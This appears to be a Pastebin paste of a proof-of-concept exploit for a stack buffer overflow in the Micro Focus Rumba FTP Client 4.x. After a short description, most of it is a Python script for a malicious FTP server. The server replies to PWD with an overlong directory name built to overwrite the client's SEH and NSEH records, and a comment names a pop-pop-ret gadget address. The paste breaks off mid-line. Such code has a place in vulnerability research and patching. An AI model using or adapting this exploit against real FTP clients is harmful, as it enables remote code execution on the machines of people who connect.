Lulz-Tigre

Rambus FTP OverFl00w

Feb 27th, 2017
94
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 4.01 KB | None | 0 0
  1.  
  2. 1.  Description
  3.  
  4. Micro Focus Rumba FTP Client 4.x cannt handle long directory names. An attacker can setup a malicious FTP server that can send a long directory name which can led to remote code execution
  5. on connected client.
  6.  
  7. 2. Proof of Concept
  8.  
  9. The code below can be used to setup a malicious FTP server that will send a long directory name and overwrite the stack. The PoC only overwrites the SEH + NSEH.
  10.  
  11.  
  12. 3. PoC Code
  13.  
  14.  
  15. ------------------- Server.py --------------------------
  16.  
  17.  
  18. import socket
  19. import sys
  20. import time
  21.  
  22. # IP Address
  23. IP = '127.0.0.1' \
  24.      ''
  25. # Create a TCP/IP socket
  26. sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  27.  
  28. # Bind the socket to the port
  29. server_address = (IP,21)
  30. print "Starting up on %s port %s" % server_address
  31. sock.bind(server_address)
  32.  
  33. # Listen for incoming connections
  34. sock.listen(1)
  35.  
  36. # Wait for incoming connection
  37. while True:
  38.     print "Waiting for a connection"
  39.     connection, client_address = sock.accept()
  40.  
  41.     try:
  42.         print "Connection from " + str(client_address)
  43.         # Receive the data in small chunks and restransmit it
  44.         connection.send("220 Welcome\r\n")
  45.  
  46.         while(True):
  47.             data = connection.recv(16)
  48.             print "received %s" % data
  49.             if "USER" in data:
  50.                 print "Sending 331"
  51.                 connection.send("331 Please specify the password.\r\n")
  52.             if "PASS" in data:
  53.                 print "Sending 227"
  54.                 connection.send("230 Login successful.\n\n")
  55.             if "PWD" in data:
  56.                 print "Sending 257"
  57.  
  58.                 # 77A632E2 add esp,908 pop pop pop ret
  59.                 # THIS IS THE PART WHERE THE OVERFLOW HAPPENS
  60.                 connection.send("257 \"/"+"A"*629+"\x45\x45\x45\x45"+ "\x44\x44\x44\x44" + "D"*185 + "rrrr" + "D"*211 + "\"\r\n")
  61.             if "TYPE A" in data:
  62.                 print "Sending 200 Switching to ASCII mode."
  63.                 connection.send("200 Switching to ASCII mode.\r\n")
  64.             if "TYPE I" in data:
  65.                 print "Sending 200 Switching to Binary mode."
  66.                 connection.send("200 200 Switching to Binary mode.\r\n")
  67.             if "SYST" in data:
  68.                 print "Sending 215"
  69.                 connection.send("215 UNIX Type: L8\r\n")
  70.  
  71.             if "SIZE" in data:
  72.                 print "Sending 200"
  73.                 connection.send("200 Switching to Binary mode. \r\n")
  74.  
  75.             if "FEAT" in data:
  76.                 print "Sending 211-Features"
  77.                 connection.send("211-Features:\r\n EPRT\r\n EPSV\r\n MDTM\r\n PASV\r\n REST STREAM\r\n SIZE\r\n TVFS\r\n211 End\r\n")
  78.             if "CWD" in data:
  79.                 print "Sending 250 Directory successfully changed."
  80.                 connection.send("250 Directory successfully changed.\r\n")
  81.  
  82.             if "PASV" in str(data):
  83.                 print "Sending 227 Entering Passive Mode (130,161,45,252,111,183)\n\n"
  84.                 connection.send("227 Entering Passive Mode (130,161,45,252,111,183)\n\n")
  85.  
  86.                 # Listen on new socket for connection
  87.                 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  88.                 print 'Socket created'
  89.  
  90.                 #Bind socket to local host and port
  91.                 try:
  92.                     s.bind((IP, 28599))
  93.                 except socket.error as msg:
  94.                     print 'Bind failed. Error Code : ' + str(msg[0]) + ' Message ' + msg[1]
  95.                     sys.exit()
  96.  
  97.                 print 'Socket bind complete for PASV on port 28599'
  98.  
  99.                 #Start listening on socket
  100.                 s.listen(10)
  101.                 print 'Socket now listening on 28599'
  102.  
  103.                 #now keep talking with the client
  104.  
  105.                 #wait to accept a connection - blocking call
  106.                 conn, addr = s.accept()
  107.                 print 'Connected with ' + addr[0] + ':' + str(addr[1])
  108.                 time.sleep(1)
  109.                 print "Sending dir list"
  110.                 connection.send("150 Her
Add Comment
Please, Sign In to add comment